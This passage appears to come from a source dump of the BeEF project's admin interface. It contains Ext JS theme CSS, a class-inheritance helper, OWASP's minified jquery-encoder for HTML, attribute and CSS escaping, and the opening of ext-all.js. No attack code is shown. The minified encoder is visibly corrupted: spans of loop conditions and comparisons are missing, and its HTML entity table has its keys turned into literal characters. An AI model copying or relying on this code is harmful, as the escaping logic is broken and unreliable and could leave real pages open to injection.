url(../images/default/box/corners.gif); } .x-box-blue .x-box-bl, .x-box-blue .x-box-br, .x-box-blue .x-box-tl, .x-box-blue .x-box-tr { background-image: url(../images/default/box/corners-blue.gif); } .x-box-blue .x-box-bc, .x-box-blue .x-box-mc, .x-box-blue .x-box-tc { background-image: url(../images/default/box/tb-blue.gif); } .x-box-blue .x-box-mc { background-color: #c3daf9; } .x-box-blue .x-box-mc h3 { color: #17385b; } .x-box-blue .x-box-ml { background-image: url(../images/default/box/l-blue.gif); } .x-box-blue .x-box-mr { background-image: url(../images/default/box/r-blue.gif); }.x-combo-list { border-color:#98c0f4; background-color:#ddecfe; font:normal 12px tahoma, arial, helvetica, sans-serif; } .x-combo-list-inner { background-color:#fff; } .x-combo-list-hd { font:bold 11px tahoma, arial, helvetica, sans-serif; color:#15428b; background-image: url(../images/default/layout/panel-title-light-bg.gif); border-bottom-color:#98c0f4; } .x-resizable-pinned .x-combo-list-inner { border-bottom-color:#98c0f4; } .x-combo-list-item { border-color:#fff; } .x-combo-list .x-combo-selected{ border-color:#a3bae9 !important; background-color:#dfe8f6; } .x-combo-list .x-toolbar { border-top-color:#98c0f4; } .x-combo-list-small { font:normal 11px tahoma, arial, helvetica, sans-serif; }.x-panel { border-color: #99bbe8; } .x-panel-header { color:#15428b; font-weight:bold; font-size: 11px; font-family: tahoma,arial,verdana,sans-serif; border-color:#99bbe8; background-image: url(../images/default/panel/white-top-bottom.gif); } .x-panel-body { border-color:#99bbe8; background-color:#fff; } .x-panel-bbar .x-toolbar, .x-panel-tbar .x-toolbar { border-color:#99bbe8; } .x-panel-tbar-noheader .x-toolbar, .x-panel-mc .x-panel-tbar .x-toolbar { border-top-color:#99bbe8; } .x-panel-body-noheader, .x-panel-mc .x-panel-body { border-top-color:#99bbe8; } .x-panel-tl .x-panel-header { color:#15428b; font:bold 11px tahoma,arial,verdana,sans-serif; } .x-panel-tc { background-image: url(../images/default/panel/top-bottom.gif); } .x-panel-tl, .x-panel-tr, .x-panel-bl, .x-panel-br{ background-image: url(../images/default/panel/corners-sprite.gif); border-bottom-color:#99bbe8; } .x-panel-bc { background-image: url(../images/default/panel/top-bottom.gif); } .x-panel-mc { font: normal 11px tahoma,arial,helvetica,sans-serif; background-color:#dfe8f6; } .x-panel-ml { background-color: #fff; background-image:url(../images/default/panel/left-right.gif); } .x-panel-mr { background-image: url(../images/default/panel/left-right.gif); } .x-tool { background-image:url(../images/default/panel/tool-sprites.gif); } .x-panel-ghost { background-color:#cbddf3; } .x-panel-ghost ul { border-color:#99bbe8; } .x-panel-dd-spacer { border-color:#99bbe8; } .x-panel-fbar td,.x-panel-fbar span,.x-panel-fbar input,.x-panel-fbar div,.x-panel-fbar select,.x-panel-fbar label{ font:normal 11px arial,tahoma, helvetica, sans-serif; } .x-window-proxy { background-color:#c7dffc; border-color:#99bbe8; } .x-window-tl .x-window-header { color:#15428b; font:bold 11px tahoma,arial,verdana,sans-serif; } .x-window-tc { background-image: url(../images/default/window/top-bottom.png); } .x-window-tl { background-image: url(../images/default/window/left-corners.png); } .x-window-tr { background-image: url(../images/default/window/right-corners.png); } .x-window-bc { background-image: url(../images/default/window/top-bottom.png); } .x-window-bl { background-image: url(../images/default/window/left-corners.png); } .x-window-br { background-image: url(../images/default/window/right-corners.png); } .x-window-mc { border-color:#99bbe8; font: normal 11px tahoma,arial,helvetica,sans-serif; background-color:#dfe8f6; } .x-window-ml { background-image: url(../images/default/window/left-right.png); } .x-window-mr { background-image: url(../images/default/window/left-right.png); } .x-window-maximized .x-window-tc { background-color:#fff; } .x-window-bbar .x-toolbar { border-top-color:#99bbe8; } .x-panel-ghost .x-window-tl { border-bottom-color:#99bbe8; } .x-panel-collapsed .x-window-tl { border-bottom-color:#84a0c4; } .x-dlg-mask{ background-color:#ccc; } .x-window-plain .x-window-mc { background-color: #ccd9e8; border-color: #a3bae9 #dfe8f6 #dfe8f6 #a3bae9; } .x-window-plain .x-window-body { border-color: #dfe8f6 #a3bae9 #a3bae9 #dfe8f6; } body.x-body-masked .x-window-plain .x-window-mc { background-color: #ccd9e8; }.x-html-editor-wrap { border-color:#a9bfd3; background-color:#fff; } .x-html-editor-tb .x-btn-text { background-image:url(../images/default/editor/tb-sprite.gif); }.x-panel-noborder .x-panel-header-noborder { border-bottom-color:#99bbe8; } .x-panel-noborder .x-panel-tbar-noborder .x-toolbar { border-bottom-color:#99bbe8; } .x-panel-noborder .x-panel-bbar-noborder .x-toolbar { border-top-color:#99bbe8; } .x-tab-panel-bbar-noborder .x-toolbar { border-top-color:#99bbe8; } .x-tab-panel-tbar-noborder .x-toolbar { border-bottom-color:#99bbe8; }.x-border-layout-ct { background-color:#dfe8f6; } .x-accordion-hd { color:#222; font-weight:normal; background-image: url(../images/default/panel/light-hd.gif); } .x-layout-collapsed{ background-color:#d2e0f2; border-color:#98c0f4; } .x-layout-collapsed-over{ background-color:#d9e8fb; } .x-layout-split-west .x-layout-mini { background-image:url(../images/default/layout/mini-left.gif); } .x-layout-split-east .x-layout-mini { background-image:url(../images/default/layout/mini-right.gif); } .x-layout-split-north .x-layout-mini { background-image:url(../images/default/layout/mini-top.gif); } .x-layout-split-south .x-layout-mini { background-image:url(../images/default/layout/mini-bottom.gif); } .x-layout-cmini-west .x-layout-mini { background-image:url(../images/default/layout/mini-right.gif); } .x-layout-cmini-east .x-layout-mini { background-image:url(../images/default/layout/mini-left.gif); } .x-layout-cmini-north .x-layout-mini { background-image:url(../images/default/layout/mini-bottom.gif); } .x-layout-cmini-south .x-layout-mini { background-image:url(../images/default/layout/mini-top.gif); }.x-progress-wrap { border-color:#6593cf; } .x-progress-inner { background-color:#e0e8f3; background-image:url(../images/default/qtip/bg.gif); } .x-progress-bar { background-color:#9cbfee; background-image:url(../images/default/progress/progress-bg.gif); border-top-color:#d1e4fd; border-bottom-color:#7fa9e4; border-right-color:#7fa9e4; } .x-progress-text { font-size:11px; font-weight:bold; color:#fff; } .x-progress-text-back { color:#396095; }.x-list-header{ background-color:#f9f9f9; background-image:url(../images/default/grid/grid3-hrow.gif); } .x-list-header-inner div em { border-left-color:#ddd; font:normal 11px arial, tahoma, helvetica, sans-serif; } .x-list-body dt em { font:normal 11px arial, tahoma, helvetica, sans-serif; } .x-list-over { background-color:#eee; } .x-list-selected { background-color:#dfe8f6; } .x-list-resizer { border-left-color:#555; border-right-color:#555; } .x-list-header-inner em.sort-asc, .x-list-header-inner em.sort-desc { background-image:url(../images/default/grid/sort-hd.gif); border-color: #99bbe8; }.x-slider-horz, .x-slider-horz .x-slider-end, .x-slider-horz .x-slider-inner { background-image:url(../images/default/slider/slider-bg.png); } .x-slider-horz .x-slider-thumb { background-image:url(../images/default/slider/slider-thumb.png); } .x-slider-vert, .x-slider-vert .x-slider-end, .x-slider-vert .x-slider-inner { background-image:url(../images/default/slider/slider-v-bg.png); } .x-slider-vert .x-slider-thumb { background-image:url(../images/default/slider/slider-v-thumb.png); }.x-window-dlg .ext-mb-text, .x-window-dlg .x-window-header-text { font-size:12px; } .x-window-dlg .ext-mb-textarea { font:normal 12px tahoma,arial,helvetica,sans-serif; } .x-window-dlg .x-msg-box-wait { background-image:url(../images/default/grid/loading.gif); } .x-window-dlg .ext-mb-info { background-image:url(../images/default/window/icon-info.gif); } .x-window-dlg .ext-mb-warning { background-image:url(../images/default/window/icon-warning.gif); } .x-window-dlg .ext-mb-question { background-image:url(../images/default/window/icon-question.gif); } .x-window-dlg .ext-mb-error { background-image:url(../images/default/window/icon-error.gif); } ================================================ FILE: extensions/admin_ui/media/images/icons/README ================================================ SVG flag icon images from: https://github.com/joielechong/iso-country-flags-svg-collection ================================================ FILE: extensions/admin_ui/media/javascript/esapi/Class.create.js ================================================ /* * Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net * Browser Exploitation Framework (BeEF) - https://beefproject.com * See the file 'doc/COPYING' for copying permission */ /* Simple JavaScript Inheritance * By John Resig http://ejohn.org/ * MIT Licensed. */ // Inspired by base2 and Prototype (function(){ var initializing = false, fnTest = /xyz/.test(function(){xyz;}) ? /\b_super\b/ : /.*/; // The base Class implementation (does nothing) this.Class = function(){}; // Create a new Class that inherits from this class Class.extend = function(prop) { var _super = this.prototype; // Instantiate a base class (but only create the instance, // don't run the init constructor) initializing = true; var prototype = new this(); initializing = false; // Copy the properties over onto the new prototype for (var name in prop) { // Check if we're overwriting an existing function prototype[name] = typeof prop[name] == "function" && typeof _super[name] == "function" && fnTest.test(prop[name]) ? (function(name, fn){ return function() { var tmp = this._super; // Add a new ._super() method that is the same method // but on the super-class this._super = _super[name]; // The method only need to be bound temporarily, so we // remove it when we're done executing var ret = fn.apply(this, arguments); this._super = tmp; return ret; }; })(name, prop[name]) : prop[name]; } // The dummy class constructor function Class() { // All construction is actually done in the init method if ( !initializing && this.init ) this.init.apply(this, arguments); } // Populate our constructed prototype object Class.prototype = prototype; // Enforce the constructor to be what we expect Class.constructor = Class; // And make this class extendable Class.extend = arguments.callee; return Class; }; })(); ================================================ FILE: extensions/admin_ui/media/javascript/esapi/jquery-encoder-0.1.0.js ================================================ /* * Copyright (c) 2010 - The OWASP Foundation * * The jquery-encoder is published by OWASP under the MIT license. You should read and accept the * LICENSE before you use, modify, and/or redistribute this software. */ (function($){var default_immune={'js':[',','.','_',' ']};var attr_whitelist_classes={'default':[',','.','-','_',' ']};var attr_whitelist={'width':['%'],'height':['%']};var css_whitelist_classes={'default':['-',' ','%'],'color':['#',' ','(',')'],'image':['(',')',':','/','?','&','-','.','"','=',' ']};var css_whitelist={'background':['(',')',':','%','/','?','&','-',' ','.','"','=','#'],'background-image':css_whitelist_classes['image'],'background-color':css_whitelist_classes['color'],'border-color':css_whitelist_classes['color'],'border-image':css_whitelist_classes['image'],'color':css_whitelist_classes['color'],'icon':css_whitelist_classes['image'],'list-style-image':css_whitelist_classes['image'],'outline-color':css_whitelist_classes['color']};var unsafeKeys={'attr_name':['on[a-z]{1,}','style','href','src'],'attr_val':['javascript:'],'css_key':['behavior','-moz-behavior','-ms-behavior'],'css_val':['expression']};var options={blacklist:true};var hasBeenInitialized=false;$.encoder={author:'Chris Schmidt (chris.schmidt@owasp.org)',version:'${project.version}',init:function(opts){if(hasBeenInitialized) throw"jQuery Encoder has already been initialized - cannot set options after initialization";hasBeenInitialized=true;$.extend(options,opts);},encodeForHTML:function(input){hasBeenInitialized=true;var div=document.createElement('div');$(div).text(input);return $(div).html();},encodeForHTMLAttribute:function(attr,input,omitAttributeName){hasBeenInitialized=true;attr=$.encoder.canonicalize(attr).toLowerCase();input=$.encoder.canonicalize(input);if($.inArray(attr,unsafeKeys['attr_name'])>=0){throw"Unsafe attribute name used: "+attr;} for(var a=0;a=0){throw"Unsafe property name used: "+propName;} for(var a=0;a=0){throw"Unsafe property value used: "+input;}} immune=css_whitelist[propName];if(!immune)immune=css_whitelist_classes['default'];var encoded='';if(!omitPropertyName){for(var p=0;p=0||hex[cc]==null){encoded+=ch;continue;} var temp=cc.toString(16),pad;if(cc<256){pad='00'.substr(temp.length);encoded+='\\x'+pad+temp.toUpperCase();}else{pad='0000'.substr(temp.length);encoded+='\\u'+pad+temp.toUpperCase();}} return encoded;},canonicalize:function(input,strict){hasBeenInitialized=true;if(input===null)return null;var out=input,cycle_out=input;var decodeCount=0,cycles=0;var codecs=[new HTMLEntityCodec(),new PercentCodec(),new CSSCodec()];while(true){cycle_out=out;for(var i=0;i1){throw"Attack Detected - Multiple/Double Encodings used in input";} return out;}};var hex=[];for(var c=0;c<0xFF;c++){if(c>=0x30&&c<=0x39||c>=0x41&&c<=0x5a||c>=0x61&&c<=0x7a){hex[c]=null;}else{hex[c]=c.toString(16);}} var methods={html:function(opts){return $.encoder.encodeForHTML(opts.unsafe);},css:function(opts){var work=[];var out=[];if(opts.map){work=opts.map;}else{work[opts.name]=opts.unsafe;} for(var k in work){if(!(typeof work[k]=='function')&&work.hasOwnProperty(k)){out[k]=$.encoder.encodeForCSS(k,work[k],true);}} return out;},attr:function(opts){var work=[];var out=[];if(opts.map){work=opts.map;}else{work[opts.name]=opts.unsafe;} for(var k in work){if(!(typeof work[k]=='function')&&work.hasOwnProperty(k)){out[k]=$.encoder.encodeForHTMLAttribute(k,work[k],true);}} return out;}};$.fn.encode=function(){hasBeenInitialized=true;var argCount=arguments.length;var opts={'context':'html','unsafe':null,'name':null,'map':null,'setter':null,'strict':true};if(argCount==1&&typeof arguments[0]=='object'){$.extend(opts,arguments[0]);}else{opts.context=arguments[0];if(arguments.length==2){if(opts.context=='html'){opts.unsafe=arguments[1];} else if(opts.content=='attr'||opts.content=='css'){opts.map=arguments[1];}}else{opts.name=arguments[1];opts.unsafe=arguments[2];}} if(opts.context=='html'){opts.setter=this.html;} else if(opts.context=='css'){opts.setter=this.css;} else if(opts.context=='attr'){opts.setter=this.attr;} return opts.setter.call(this,methods[opts.context].call(this,opts));};var PushbackString=Class.extend({_input:null,_pushback:null,_temp:null,_index:0,_mark:0,_hasNext:function(){if(this._input==null)return false;if(this._input.length==0)return false;return this._indexthis.maxKeyLen) this.maxKeyLen=key.length;this.size++;return null;}});Trie.Entry=Class.extend({_key:null,_value:null,init:function(key,value){this._key=key,this._value=value;},getKey:function(){return this._key;},getValue:function(){return this._value;},equals:function(other){if(!(other instanceof Trie.Entry)){return false;} return this._key==other._key&&this._value==other._value;}});Trie.Node=Class.extend({_value:null,_nextMap:null,setValue:function(value){this._value=value;},getNextNode:function(ch){if(!this._nextMap)return null;return this._nextMap[ch];},put:function(key,pos,value){var nextNode,ch,old;if(key.length==pos){old=this._value;this.setValue(value);return old;} ch=key.charAt(pos);if(this._nextMap==null){this._nextMap=Trie.Node.newNodeMap();nextNode=new Trie.Node();this._nextMap[ch]=nextNode;}else if((nextNode=this._nextMap[ch])==null){nextNode=new Trie.Node();this._nextMap[ch]=nextNode;} return nextNode.put(key,pos+1,value);},get:function(key,pos){var nextNode;if(key.length<=pos) return this._value;if((nextNode=this.getNextNode(key.charAt(pos)))==null) return null;return nextNode.get(key,pos+1);},getLongestMatch:function(key,pos){var nextNode,ret;if(key.length<=pos){return Trie.Entry.newInstanceIfNeeded(key,this._value);} if((nextNode=this.getNextNode(key.charAt(pos)))==null){return Trie.Entry.newInstanceIfNeeded(key,pos,this._value);} if((ret=nextNode.getLongestMatch(key,pos+1))!=null){return ret;} return Trie.Entry.newInstanceIfNeeded(key,pos,this._value);}});Trie.Entry.newInstanceIfNeeded=function(){var key=arguments[0],value,keyLength;if(typeof arguments[1]=='string'){value=arguments[1];keyLength=key.length;}else{keyLength=arguments[1];value=arguments[2];} if(value==null||key==null){return null;} if(key.length>keyLength){key=key.substr(0,keyLength);} return new Trie.Entry(key,value);};Trie.Node.newNodeMap=function(){return{};};var isValidCodePoint=function(codepoint){return codepoint>=0x0000&&codepoint<=0x10FFFF;};var isWhiteSpace=function(input){return input.match(/[\s]/);};var MAP_ENTITY_TO_CHAR=[];var MAP_CHAR_TO_ENTITY=[];var ENTITY_TO_CHAR_TRIE=new Trie();(function(){MAP_ENTITY_TO_CHAR["""]="34";MAP_ENTITY_TO_CHAR["&"]="38";MAP_ENTITY_TO_CHAR["<"]="60";MAP_ENTITY_TO_CHAR[">"]="62";MAP_ENTITY_TO_CHAR[" "]="160";MAP_ENTITY_TO_CHAR["¡"]="161";MAP_ENTITY_TO_CHAR["¢"]="162";MAP_ENTITY_TO_CHAR["£"]="163";MAP_ENTITY_TO_CHAR["¤"]="164";MAP_ENTITY_TO_CHAR["¥"]="165";MAP_ENTITY_TO_CHAR["¦"]="166";MAP_ENTITY_TO_CHAR["§"]="167";MAP_ENTITY_TO_CHAR["¨"]="168";MAP_ENTITY_TO_CHAR["©"]="169";MAP_ENTITY_TO_CHAR["ª"]="170";MAP_ENTITY_TO_CHAR["«"]="171";MAP_ENTITY_TO_CHAR["¬"]="172";MAP_ENTITY_TO_CHAR["­"]="173";MAP_ENTITY_TO_CHAR["®"]="174";MAP_ENTITY_TO_CHAR["¯"]="175";MAP_ENTITY_TO_CHAR["°"]="176";MAP_ENTITY_TO_CHAR["±"]="177";MAP_ENTITY_TO_CHAR["²"]="178";MAP_ENTITY_TO_CHAR["³"]="179";MAP_ENTITY_TO_CHAR["´"]="180";MAP_ENTITY_TO_CHAR["µ"]="181";MAP_ENTITY_TO_CHAR["¶"]="182";MAP_ENTITY_TO_CHAR["·"]="183";MAP_ENTITY_TO_CHAR["¸"]="184";MAP_ENTITY_TO_CHAR["¹"]="185";MAP_ENTITY_TO_CHAR["º"]="186";MAP_ENTITY_TO_CHAR["»"]="187";MAP_ENTITY_TO_CHAR["¼"]="188";MAP_ENTITY_TO_CHAR["½"]="189";MAP_ENTITY_TO_CHAR["¾"]="190";MAP_ENTITY_TO_CHAR["¿"]="191";MAP_ENTITY_TO_CHAR["À"]="192";MAP_ENTITY_TO_CHAR["Á"]="193";MAP_ENTITY_TO_CHAR["Â"]="194";MAP_ENTITY_TO_CHAR["Ã"]="195";MAP_ENTITY_TO_CHAR["Ä"]="196";MAP_ENTITY_TO_CHAR["Å"]="197";MAP_ENTITY_TO_CHAR["Æ"]="198";MAP_ENTITY_TO_CHAR["Ç"]="199";MAP_ENTITY_TO_CHAR["È"]="200";MAP_ENTITY_TO_CHAR["É"]="201";MAP_ENTITY_TO_CHAR["Ê"]="202";MAP_ENTITY_TO_CHAR["Ë"]="203";MAP_ENTITY_TO_CHAR["Ì"]="204";MAP_ENTITY_TO_CHAR["Í"]="205";MAP_ENTITY_TO_CHAR["Î"]="206";MAP_ENTITY_TO_CHAR["Ï"]="207";MAP_ENTITY_TO_CHAR["Ð"]="208";MAP_ENTITY_TO_CHAR["Ñ"]="209";MAP_ENTITY_TO_CHAR["Ò"]="210";MAP_ENTITY_TO_CHAR["Ó"]="211";MAP_ENTITY_TO_CHAR["Ô"]="212";MAP_ENTITY_TO_CHAR["Õ"]="213";MAP_ENTITY_TO_CHAR["Ö"]="214";MAP_ENTITY_TO_CHAR["×"]="215";MAP_ENTITY_TO_CHAR["Ø"]="216";MAP_ENTITY_TO_CHAR["Ù"]="217";MAP_ENTITY_TO_CHAR["Ú"]="218";MAP_ENTITY_TO_CHAR["Û"]="219";MAP_ENTITY_TO_CHAR["Ü"]="220";MAP_ENTITY_TO_CHAR["Ý"]="221";MAP_ENTITY_TO_CHAR["Þ"]="222";MAP_ENTITY_TO_CHAR["ß"]="223";MAP_ENTITY_TO_CHAR["à"]="224";MAP_ENTITY_TO_CHAR["á"]="225";MAP_ENTITY_TO_CHAR["â"]="226";MAP_ENTITY_TO_CHAR["ã"]="227";MAP_ENTITY_TO_CHAR["ä"]="228";MAP_ENTITY_TO_CHAR["å"]="229";MAP_ENTITY_TO_CHAR["æ"]="230";MAP_ENTITY_TO_CHAR["ç"]="231";MAP_ENTITY_TO_CHAR["è"]="232";MAP_ENTITY_TO_CHAR["é"]="233";MAP_ENTITY_TO_CHAR["ê"]="234";MAP_ENTITY_TO_CHAR["ë"]="235";MAP_ENTITY_TO_CHAR["ì"]="236";MAP_ENTITY_TO_CHAR["í"]="237";MAP_ENTITY_TO_CHAR["î"]="238";MAP_ENTITY_TO_CHAR["ï"]="239";MAP_ENTITY_TO_CHAR["ð"]="240";MAP_ENTITY_TO_CHAR["ñ"]="241";MAP_ENTITY_TO_CHAR["ò"]="242";MAP_ENTITY_TO_CHAR["ó"]="243";MAP_ENTITY_TO_CHAR["ô"]="244";MAP_ENTITY_TO_CHAR["õ"]="245";MAP_ENTITY_TO_CHAR["ö"]="246";MAP_ENTITY_TO_CHAR["÷"]="247";MAP_ENTITY_TO_CHAR["ø"]="248";MAP_ENTITY_TO_CHAR["ù"]="249";MAP_ENTITY_TO_CHAR["ú"]="250";MAP_ENTITY_TO_CHAR["û"]="251";MAP_ENTITY_TO_CHAR["ü"]="252";MAP_ENTITY_TO_CHAR["ý"]="253";MAP_ENTITY_TO_CHAR["þ"]="254";MAP_ENTITY_TO_CHAR["ÿ"]="255";MAP_ENTITY_TO_CHAR["&OElig"]="338";MAP_ENTITY_TO_CHAR["&oelig"]="339";MAP_ENTITY_TO_CHAR["&Scaron"]="352";MAP_ENTITY_TO_CHAR["&scaron"]="353";MAP_ENTITY_TO_CHAR["&Yuml"]="376";MAP_ENTITY_TO_CHAR["&fnof"]="402";MAP_ENTITY_TO_CHAR["&circ"]="710";MAP_ENTITY_TO_CHAR["&tilde"]="732";MAP_ENTITY_TO_CHAR["&Alpha"]="913";MAP_ENTITY_TO_CHAR["&Beta"]="914";MAP_ENTITY_TO_CHAR["&Gamma"]="915";MAP_ENTITY_TO_CHAR["&Delta"]="916";MAP_ENTITY_TO_CHAR["&Epsilon"]="917";MAP_ENTITY_TO_CHAR["&Zeta"]="918";MAP_ENTITY_TO_CHAR["&Eta"]="919";MAP_ENTITY_TO_CHAR["&Theta"]="920";MAP_ENTITY_TO_CHAR["&Iota"]="921";MAP_ENTITY_TO_CHAR["&Kappa"]="922";MAP_ENTITY_TO_CHAR["&Lambda"]="923";MAP_ENTITY_TO_CHAR["&Mu"]="924";MAP_ENTITY_TO_CHAR["&Nu"]="925";MAP_ENTITY_TO_CHAR["&Xi"]="926";MAP_ENTITY_TO_CHAR["&Omicron"]="927";MAP_ENTITY_TO_CHAR["&Pi"]="928";MAP_ENTITY_TO_CHAR["&Rho"]="929";MAP_ENTITY_TO_CHAR["&Sigma"]="931";MAP_ENTITY_TO_CHAR["&Tau"]="932";MAP_ENTITY_TO_CHAR["&Upsilon"]="933";MAP_ENTITY_TO_CHAR["&Phi"]="934";MAP_ENTITY_TO_CHAR["&Chi"]="935";MAP_ENTITY_TO_CHAR["&Psi"]="936";MAP_ENTITY_TO_CHAR["&Omega"]="937";MAP_ENTITY_TO_CHAR["&alpha"]="945";MAP_ENTITY_TO_CHAR["&beta"]="946";MAP_ENTITY_TO_CHAR["&gamma"]="947";MAP_ENTITY_TO_CHAR["&delta"]="948";MAP_ENTITY_TO_CHAR["&epsilon"]="949";MAP_ENTITY_TO_CHAR["&zeta"]="950";MAP_ENTITY_TO_CHAR["&eta"]="951";MAP_ENTITY_TO_CHAR["&theta"]="952";MAP_ENTITY_TO_CHAR["&iota"]="953";MAP_ENTITY_TO_CHAR["&kappa"]="954";MAP_ENTITY_TO_CHAR["&lambda"]="955";MAP_ENTITY_TO_CHAR["&mu"]="956";MAP_ENTITY_TO_CHAR["&nu"]="957";MAP_ENTITY_TO_CHAR["&xi"]="958";MAP_ENTITY_TO_CHAR["&omicron"]="959";MAP_ENTITY_TO_CHAR["&pi"]="960";MAP_ENTITY_TO_CHAR["&rho"]="961";MAP_ENTITY_TO_CHAR["&sigmaf"]="962";MAP_ENTITY_TO_CHAR["&sigma"]="963";MAP_ENTITY_TO_CHAR["&tau"]="964";MAP_ENTITY_TO_CHAR["&upsilon"]="965";MAP_ENTITY_TO_CHAR["&phi"]="966";MAP_ENTITY_TO_CHAR["&chi"]="967";MAP_ENTITY_TO_CHAR["&psi"]="968";MAP_ENTITY_TO_CHAR["&omega"]="969";MAP_ENTITY_TO_CHAR["&thetasym"]="977";MAP_ENTITY_TO_CHAR["&upsih"]="978";MAP_ENTITY_TO_CHAR["&piv"]="982";MAP_ENTITY_TO_CHAR["&ensp"]="8194";MAP_ENTITY_TO_CHAR["&emsp"]="8195";MAP_ENTITY_TO_CHAR["&thinsp"]="8201";MAP_ENTITY_TO_CHAR["&zwnj"]="8204";MAP_ENTITY_TO_CHAR["&zwj"]="8205";MAP_ENTITY_TO_CHAR["&lrm"]="8206";MAP_ENTITY_TO_CHAR["&rlm"]="8207";MAP_ENTITY_TO_CHAR["&ndash"]="8211";MAP_ENTITY_TO_CHAR["&mdash"]="8212";MAP_ENTITY_TO_CHAR["&lsquo"]="8216";MAP_ENTITY_TO_CHAR["&rsquo"]="8217";MAP_ENTITY_TO_CHAR["&sbquo"]="8218";MAP_ENTITY_TO_CHAR["&ldquo"]="8220";MAP_ENTITY_TO_CHAR["&rdquo"]="8221";MAP_ENTITY_TO_CHAR["&bdquo"]="8222";MAP_ENTITY_TO_CHAR["&dagger"]="8224";MAP_ENTITY_TO_CHAR["&Dagger"]="8225";MAP_ENTITY_TO_CHAR["&bull"]="8226";MAP_ENTITY_TO_CHAR["&hellip"]="8230";MAP_ENTITY_TO_CHAR["&permil"]="8240";MAP_ENTITY_TO_CHAR["&prime"]="8242";MAP_ENTITY_TO_CHAR["&Prime"]="8243";MAP_ENTITY_TO_CHAR["&lsaquo"]="8249";MAP_ENTITY_TO_CHAR["&rsaquo"]="8250";MAP_ENTITY_TO_CHAR["&oline"]="8254";MAP_ENTITY_TO_CHAR["&frasl"]="8260";MAP_ENTITY_TO_CHAR["&euro"]="8364";MAP_ENTITY_TO_CHAR["&image"]="8365";MAP_ENTITY_TO_CHAR["&weierp"]="8472";MAP_ENTITY_TO_CHAR["&real"]="8476";MAP_ENTITY_TO_CHAR["&trade"]="8482";MAP_ENTITY_TO_CHAR["&alefsym"]="8501";MAP_ENTITY_TO_CHAR["&larr"]="8592";MAP_ENTITY_TO_CHAR["&uarr"]="8593";MAP_ENTITY_TO_CHAR["&rarr"]="8594";MAP_ENTITY_TO_CHAR["&darr"]="8595";MAP_ENTITY_TO_CHAR["&harr"]="8596";MAP_ENTITY_TO_CHAR["&crarr"]="8629";MAP_ENTITY_TO_CHAR["&lArr"]="8656";MAP_ENTITY_TO_CHAR["&uArr"]="8657";MAP_ENTITY_TO_CHAR["&rArr"]="8658";MAP_ENTITY_TO_CHAR["&dArr"]="8659";MAP_ENTITY_TO_CHAR["&hArr"]="8660";MAP_ENTITY_TO_CHAR["&forall"]="8704";MAP_ENTITY_TO_CHAR["&part"]="8706";MAP_ENTITY_TO_CHAR["&exist"]="8707";MAP_ENTITY_TO_CHAR["&empty"]="8709";MAP_ENTITY_TO_CHAR["&nabla"]="8711";MAP_ENTITY_TO_CHAR["&isin"]="8712";MAP_ENTITY_TO_CHAR["¬in"]="8713";MAP_ENTITY_TO_CHAR["&ni"]="8715";MAP_ENTITY_TO_CHAR["&prod"]="8719";MAP_ENTITY_TO_CHAR["&sum"]="8721";MAP_ENTITY_TO_CHAR["&minus"]="8722";MAP_ENTITY_TO_CHAR["&lowast"]="8727";MAP_ENTITY_TO_CHAR["&radic"]="8730";MAP_ENTITY_TO_CHAR["&prop"]="8733";MAP_ENTITY_TO_CHAR["&infin"]="8734";MAP_ENTITY_TO_CHAR["&ang"]="8736";MAP_ENTITY_TO_CHAR["&and"]="8743";MAP_ENTITY_TO_CHAR["&or"]="8744";MAP_ENTITY_TO_CHAR["&cap"]="8745";MAP_ENTITY_TO_CHAR["&cup"]="8746";MAP_ENTITY_TO_CHAR["&int"]="8747";MAP_ENTITY_TO_CHAR["&there4"]="8756";MAP_ENTITY_TO_CHAR["&sim"]="8764";MAP_ENTITY_TO_CHAR["&cong"]="8773";MAP_ENTITY_TO_CHAR["&asymp"]="8776";MAP_ENTITY_TO_CHAR["&ne"]="8800";MAP_ENTITY_TO_CHAR["&equiv"]="8801";MAP_ENTITY_TO_CHAR["&le"]="8804";MAP_ENTITY_TO_CHAR["&ge"]="8805";MAP_ENTITY_TO_CHAR["&sub"]="8834";MAP_ENTITY_TO_CHAR["&sup"]="8835";MAP_ENTITY_TO_CHAR["&nsub"]="8836";MAP_ENTITY_TO_CHAR["&sube"]="8838";MAP_ENTITY_TO_CHAR["&supe"]="8839";MAP_ENTITY_TO_CHAR["&oplus"]="8853";MAP_ENTITY_TO_CHAR["&otimes"]="8855";MAP_ENTITY_TO_CHAR["&perp"]="8869";MAP_ENTITY_TO_CHAR["&sdot"]="8901";MAP_ENTITY_TO_CHAR["&lceil"]="8968";MAP_ENTITY_TO_CHAR["&rceil"]="8969";MAP_ENTITY_TO_CHAR["&lfloor"]="8970";MAP_ENTITY_TO_CHAR["&rfloor"]="8971";MAP_ENTITY_TO_CHAR["&lang"]="9001";MAP_ENTITY_TO_CHAR["&rang"]="9002";MAP_ENTITY_TO_CHAR["&loz"]="9674";MAP_ENTITY_TO_CHAR["&spades"]="9824";MAP_ENTITY_TO_CHAR["&clubs"]="9827";MAP_ENTITY_TO_CHAR["&hearts"]="9829";MAP_ENTITY_TO_CHAR["&diams"]="9830";for(var entity in MAP_ENTITY_TO_CHAR){if(!(typeof MAP_ENTITY_TO_CHAR[entity]=='function')&&MAP_ENTITY_TO_CHAR.hasOwnProperty(entity)){MAP_CHAR_TO_ENTITY[MAP_ENTITY_TO_CHAR[entity]]=entity;}} for(var c in MAP_CHAR_TO_ENTITY){if(!(typeof MAP_CHAR_TO_ENTITY[c]=='function')&&MAP_CHAR_TO_ENTITY.hasOwnProperty(c)){var ent=MAP_CHAR_TO_ENTITY[c].toLowerCase().substr(1);ENTITY_TO_CHAR_TRIE.put(ent,String.fromCharCode(c));}}})();if(Object.freeze){$.encoder=Object.freeze($.encoder);$.fn.encode=Object.freeze($.fn.encode);}else if(Object.seal){$.encoder=Object.seal($.encoder);$.fn.encode=Object.seal($.fn.encode);}else if(Object.preventExtensions){$.encoder=Object.preventExtensions($.encoder);$.fn.encode=Object.preventExtensions($.fn.encode);}})(jQuery); var $jEncoder = jQuery.noConflict(); ================================================ FILE: extensions/admin_ui/media/javascript/ext-all.js ================================================ /* * Ext JS Library 3.4.0 * Copyright(c) 2006-2011 Sencha Inc. * licensing@sencha.com * http://www.sencha.com/license */ (function () { var h = Ext.util, j = Ext.each, g = true, i = false; h.Observable = function () { var k = this, l = k.events; if (k.listeners) { k.on(k.listeners); delete k.listeners } k.events = l || {} }; h.Observable.prototype = {filterOptRe:/^(?:scope|delay|buffer|single)$/, fireEvent:function () { var k = Array.prototype.slice.call(arguments, 0), m = k[0].toLowerCase(), n = this, l = g, p = 